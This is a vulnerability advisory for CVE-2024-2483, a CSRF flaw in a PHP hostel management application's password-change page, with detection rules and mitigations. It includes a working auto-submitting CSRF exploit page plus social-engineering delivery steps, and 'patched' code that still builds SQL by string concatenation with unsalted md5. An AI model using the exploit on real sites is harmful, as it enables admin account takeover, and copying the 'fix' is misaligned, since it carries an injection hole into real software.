CVE-2024-2483

Executive Summary

CVE-2024-2483 is a Cross-Site Request Forgery (CSRF) vulnerability in the Surya2Developer Hostel Management Service version 1.0. The flaw exists in the /change-password.php endpoint, where the oldpassword parameter is not protected by a CSRF token or origin validation. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, silently changes the admin’s password. This allows the attacker to hijack the admin account and gain full control over the hostel management system. The vulnerability is classified as problematic (CVSS 4.3) and has a public proof-of-concept (PoC) exploit. No official patch has been released, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This is a custom PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack is performed remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – The attacker can change the victim’s password.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the impact (account takeover) is significant for the targeted admin.

Deep Dive & Mechanics

The vulnerability resides in the password change functionality of the Hostel Management Service. The /change-password.php script accepts POST parameters oldpassword, newpassword, and confirmpassword. It does not implement any CSRF protection mechanisms such as:

• Anti-CSRF tokens (e.g., csrf_token hidden field)
• Origin/Referer header validation
• SameSite cookie attributes

An attacker can host a simple HTML form that auto-submits to the vulnerable endpoint. When an authenticated admin visits the attacker’s page, the form is submitted with the attacker’s chosen new password. Since the browser automatically includes the admin’s session cookie, the request is processed as legitimate.

Key Code Snippet (Vulnerable):

<?php
// change-password.php (simplified)
session_start();
if (!isset($_SESSION['admin'])) {
    header('Location: login.php');
    exit();
}
$old = $_POST['oldpassword'];
$new = $_POST['newpassword'];
$confirm = $_POST['confirmpassword'];
// No CSRF token check
$sql = "UPDATE users SET password='".md5($new)."' WHERE password='".md5($old)."'";
mysqli_query($conn, $sql);
?>

Vulnerable vs. Patched Code

Vulnerable Code (No CSRF Protection):

<?php
// change-password.php
session_start();
if (!isset($_SESSION['admin'])) {
    header('Location: login.php');
    exit();
}
$old = $_POST['oldpassword'];
$new = $_POST['newpassword'];
$confirm = $_POST['confirmpassword'];
if ($new !== $confirm) {
    die("Passwords do not match");
}
$sql = "UPDATE users SET password='".md5($new)."' WHERE password='".md5($old)."'";
mysqli_query($conn, $sql);
?>

Patched Code (With CSRF Token):

<?php
// change-password.php (patched)
session_start();
if (!isset($_SESSION['admin'])) {
    header('Location: login.php');
    exit();
}
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed");
}
$old = $_POST['oldpassword'];
$new = $_POST['newpassword'];
$confirm = $_POST['confirmpassword'];
if ($new !== $confirm) {
    die("Passwords do not match");
}
$sql = "UPDATE users SET password='".md5($new)."' WHERE password='".md5($old)."'";
mysqli_query($conn, $sql);
?>

Patch Details: No official patch exists. The above patched code is a recommended fix. The vendor has not released an update.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Deploy Hostel Management Service 1.0 on a local server (e.g., XAMPP).
2. Create an admin account and log in.
3. Host the following HTML file on a separate domain (attacker.com).

Exploit HTML (CSRF PoC):

<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<form id="csrf" action="http://target.com/change-password.php" method="POST">
    <input type="hidden" name="oldpassword" value="admin123">
    <input type="hidden" name="newpassword" value="hacked123">
    <input type="hidden" name="confirmpassword" value="hacked123">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

Execution:

• Send the link to the authenticated admin (e.g., via email or social engineering).
• Once the admin visits the page, the form auto-submits, changing the password to hacked123.
• The attacker can now log in with admin / hacked123.

Blue Team (Defender)

Detection Steps:

1. Monitor for multiple password change requests from the same IP within a short time.
2. Check for missing Referer header or unexpected Origin in password change requests.
3. Review server logs for /change-password.php POST requests without a valid CSRF token.

Mitigation:

• Implement CSRF tokens as shown in the patched code.
• Validate the Origin or Referer header against the application’s domain.
• Use SameSite=Strict or SameSite=Lax cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /change-password.php with parameters oldpassword, newpassword, confirmpassword.
  • Requests missing Referer header or with unexpected Origin.
• File IOCs:
  • Unauthorized changes to the users table in the database (password hash changed).
• Behavioral IOCs:
  • Admin account password changed without admin’s knowledge.
  • Multiple failed login attempts after password change (attacker testing new credentials).

Detection Engineering

YARA Rule

rule CVE_2024_2483_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit HTML for CVE-2024-2483"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2483"
    strings:
        $csrf_form = /<form[^>]*action="[^"]*\/change-password\.php"[^>]*>/ nocase
        $oldpass = /name="oldpassword"/ nocase
        $newpass = /name="newpassword"/ nocase
        $confirm = /name="confirmpassword"/ nocase
    condition:
        all of ($csrf_form, $oldpass, $newpass, $confirm)
}

Sigma Rule

title: CVE-2024-2483 CSRF Password Change Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /change-password.php without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/change-password.php'
        cs-Referer: ''  # Missing Referer header
    condition: selection
falsepositives:
    - Legitimate requests from same origin (if Referer is missing due to browser privacy)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2483 CSRF Password Change Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/change-password.php"; http.request_body; content:"oldpassword"; content:"newpassword"; content:"confirmpassword"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Implement CSRF Protection: Add a unique, unpredictable token to the password change form and validate it on the server side.
2. Validate Origin/Referer: Reject requests where the Origin or Referer header does not match the application’s domain.
3. Use SameSite Cookies: Set SameSite=Strict on session cookies to prevent cross-origin submission.
4. Rate Limiting: Limit the number of password change requests per session/IP.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Consider migrating to a more secure application or framework.

Workaround:

• Disable the password change functionality until a patch is applied.
• Use a Web Application Firewall (WAF) to block requests to /change-password.php without a valid CSRF token.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert